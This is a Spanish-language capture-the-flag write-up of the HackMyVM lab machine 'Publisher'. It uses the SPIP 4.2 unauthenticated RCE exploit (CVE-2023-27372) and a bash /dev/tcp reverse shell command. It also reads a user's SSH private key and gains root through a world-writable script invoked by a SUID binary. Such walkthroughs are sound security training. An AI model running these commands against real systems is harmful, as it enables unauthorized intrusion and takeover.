cd ~/blog

~/writeups/hmv/111-publisher.md

111 - Publisher

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
SPIP 4.2 Unauthenticated RCE (CVE-2023-27372)SSH Private Key DisclosureSUID Binary Abuse mediante un script privilegiado escribible
hackmyvm.eu/machines/machine.php?vm=Publisher

~2 min de lectura


Enumeración de servicios

El objetivo expone SSH y una aplicación web sobre Apache. Como todavía no disponemos de credenciales para SSH, continuamos por el contenido servido en el puerto 80:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.26
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.26
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 10:38 -04
Nmap scan report for 192.168.1.26
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher's Pulse: SPIP Insights & Tips
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Identificación de SPIP

La enumeración descubre /spip, una instalación del CMS SPIP. El archivo htaccess.txt permite situarla en la rama 4.2 y Searchsploit encuentra un exploit público para SPIP 4.2.0 asociado a CVE-2023-27372:

❯ gobuster dir -u 'http://192.168.1.26/spip' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif,zip -r
...
/htaccess.txt         (Status: 200) [Size: 4307]
/ecrire               (Status: 200) [Size: 12193]
...

❯ searchsploit spip 4.2
...
SPIP v4.2.0 - Remote Code Execution (Unauthenticated)                         | php/webapps/51536.py
...

Acceso inicial mediante SPIP Unauthenticated RCE

El exploit obtiene el token anti-CSRF y construye un valor serializado que contiene código PHP. Como la respuesta no devuelve el resultado del comando, usamos sleep 5 como comprobación temporal antes de solicitar una reverse shell. La conexión entrante es la evidencia definitiva de ejecución remota:

❯ python3 51536.py -u http://192.168.1.26/spip -c 'sleep 5' -v
[+] Anti-CSRF token found : ...
[+] Execute this payload : s:27:"<?php system('sleep 5'); ?>";

❯ python3 51536.py -u http://192.168.1.26/spip -c 'bash -c "bash -i >& /dev/tcp/192.168.1.5/1234 0>&1"'

❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.26:48496.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@41c976e507f8:/home/think/spip/spip$

SSH Private Key Disclosure y acceso como think

La shell pertenece a www-data, pero puede leer la clave privada SSH de think. Esta exposición permite abandonar el contenedor web y autenticarnos en el host con la identidad de ese usuario:

www-data@41c976e507f8:/home/think/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

❯ ssh think@192.168.1.26 -i id_rsa_think
think@publisher:~$

Escalada mediante un script privilegiado escribible

La sesión de think permite recuperar la primera flag. Al buscar binarios SUID encontramos run_container; strings revela que delega su trabajo en /opt/run_container.sh, un archivo propiedad de root pero escribible por cualquier usuario. La combinación constituye un Writable Privileged Executable File alcanzado desde un SUID Binary:

think@publisher:/opt$ find / -perm -4000 2>/dev/null
...
/usr/sbin/run_container
...

think@publisher:/opt$ strings /usr/sbin/run_container
...
/opt/run_container.sh
...

think@publisher:/opt$ ls -l /opt/run_container.sh
-rwxrwxrwx 1 root root 1715 Mar 29 13:25 /opt/run_container.sh

La sesión restringe el acceso cuando Bash se inicia por su ruta habitual. En esta máquina, cargar el ejecutable directamente mediante ld-linux cambia la forma en que se inicia el proceso y permite listar /opt; esto no modifica los permisos del directorio, sino que evita la restricción aplicada al ejecutable invocado normalmente:

think@publisher:/usr$ /lib64/ld-linux-x86-64.so.2 /bin/bash

think@publisher:/opt$ ls -la
total 20
-rwxrwxrwx  1 root root 1715 Mar 29 13:25 run_container.sh

Reemplazamos el contenido del script por un chmod u+s /bin/bash y ejecutamos run_container. El wrapper conserva su identidad efectiva privilegiada al invocar el archivo controlado, por lo que Bash recibe el bit SUID:

think@publisher:/opt$ echo "chmod u+s /bin/bash" > run_container.sh

think@publisher:/tmp$ run_container

think@publisher:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

think@publisher:/tmp$ bash -p
bash-5.0# whoami
root

bash -p conserva el EUID y whoami confirma la identidad root, desde donde recuperamos la flag final.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados